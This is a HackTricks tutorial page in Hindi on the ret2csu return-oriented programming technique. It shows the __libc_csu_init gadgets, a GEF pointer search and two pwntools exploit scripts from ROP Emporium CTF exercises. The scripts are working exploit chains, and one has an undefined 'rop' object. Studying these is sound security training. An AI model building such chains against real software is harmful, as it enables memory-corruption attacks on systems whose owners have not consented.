Ret2csu

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

https://www.scs.stanford.edu/brop/bittau-brop.pdfबुनियादी जानकारी

ret2csu एक हैकिंग तकनीक है जिसका उपयोग तब किया जाता है जब आप किसी प्रोग्राम पर नियंत्रण पाने की कोशिश कर रहे होते हैं लेकिन आपको प्रोग्राम के व्यवहार को नियंत्रित करने के लिए आमतौर पर उपयोग किए जाने वाले gadgets नहीं मिलते।

जब एक प्रोग्राम कुछ विशेष पुस्तकालयों (जैसे libc) का उपयोग करता है, तो इसमें विभिन्न भागों के बीच बातचीत को प्रबंधित करने के लिए कुछ अंतर्निहित कार्य होते हैं। इन कार्यों में कुछ छिपे हुए रत्न होते हैं जो हमारे गायब gadgets के रूप में कार्य कर सकते हैं, विशेष रूप से एक जिसे __libc_csu_init कहा जाता है।

__libc_csu_init में जादुई Gadgets

__libc_csu_init में, दो निर्देशों के अनुक्रम (gadgets) को उजागर करने के लिए हैं:

  1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये उन स्लॉट्स की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं।
armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

यह गैजेट हमें इन रजिस्टरों को नियंत्रित करने की अनुमति देता है, स्टैक से मानों को पॉप करके उन्हें में डालने के लिए।

  1. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं, कुछ चीजें करने के लिए:
  • विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें, उन्हें हमारे लिए फ़ंक्शनों में पैरामीटर के रूप में उपयोग करने के लिए तैयार करना।
  • एक स्थान पर कॉल करें जो r15 और rbx में मानों को जोड़कर, फिर rbx को 8 से गुणा करके निर्धारित किया गया है।
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. शायद आप वहां लिखने के लिए कोई पता नहीं जानते और आपको ret निर्देश की आवश्यकता है। ध्यान दें कि दूसरा गैजेट भी ret पर समाप्त होगा, लेकिन आपको इसे प्राप्त करने के लिए कुछ शर्तों को पूरा करना होगा:
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

शर्तें होंगी:

  • [r12 + rbx*8] को एक कॉल करने योग्य फ़ंक्शन के पते की ओर इशारा करना चाहिए (यदि कोई विचार नहीं है और कोई pie नहीं है, तो आप बस _init फ़ंक्शन का उपयोग कर सकते हैं):
  • यदि _init 0x400560 पर है, तो GEF का उपयोग करके इसके लिए मेमोरी में एक पॉइंटर खोजें और [r12 + rbx*8] को _init के लिए पॉइंटर वाला पता बनाएं:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
  • rbp और rbx का मान समान होना चाहिए ताकि कूद से बचा जा सके
  • कुछ छोड़े गए pops हैं जिन्हें आपको ध्यान में रखना चाहिए

RDI और RSI

rdi और rsi को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है विशेष ऑफसेट्स तक पहुंचना:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

अधिक जानकारी के लिए इस पृष्ठ की जांच करें:

BROP - Blind Return Oriented Programming

उदाहरण

कॉल का उपयोग करना

कल्पना करें कि आप एक syscall करना चाहते हैं या write() जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन rdx और rsi रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं।

यहां ret2csu काम में आता है:

  1. रजिस्टर सेट करें: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
  2. दूसरे गैजेट का उपयोग करें: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को rdx और rsi (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, r15 और rbx को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और [r15 + rbx*8] में रखते हैं।

आपके पास इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे समझाते हुए है, और यह अंतिम शोषण है जिसका इसने उपयोग किया:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

warning

ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य RCE करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन win को कॉल करना है (ROP चेन में win के पते को stdin से कॉल करते हुए और इसे r15 में स्टोर करते हुए) तीसरे तर्क के साथ जिसका मान 0xdeadbeefcafed00d है।

कॉल को बायपास करना और रिट तक पहुंचना

निम्नलिखित एक्सप्लॉइट इस पृष्ठ से निकाला गया जहां ret2csu का उपयोग किया गया है लेकिन कॉल का उपयोग करने के बजाय, यह तुलनाओं को बायपास कर रहा है और कॉल के बाद ret तक पहुंच रहा है:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Why Not Just Use libc Directly?

आमतौर पर ये मामले भी ret2plt + ret2lib के प्रति संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जो सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किए जा सकते। उदाहरण के लिए, write() फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें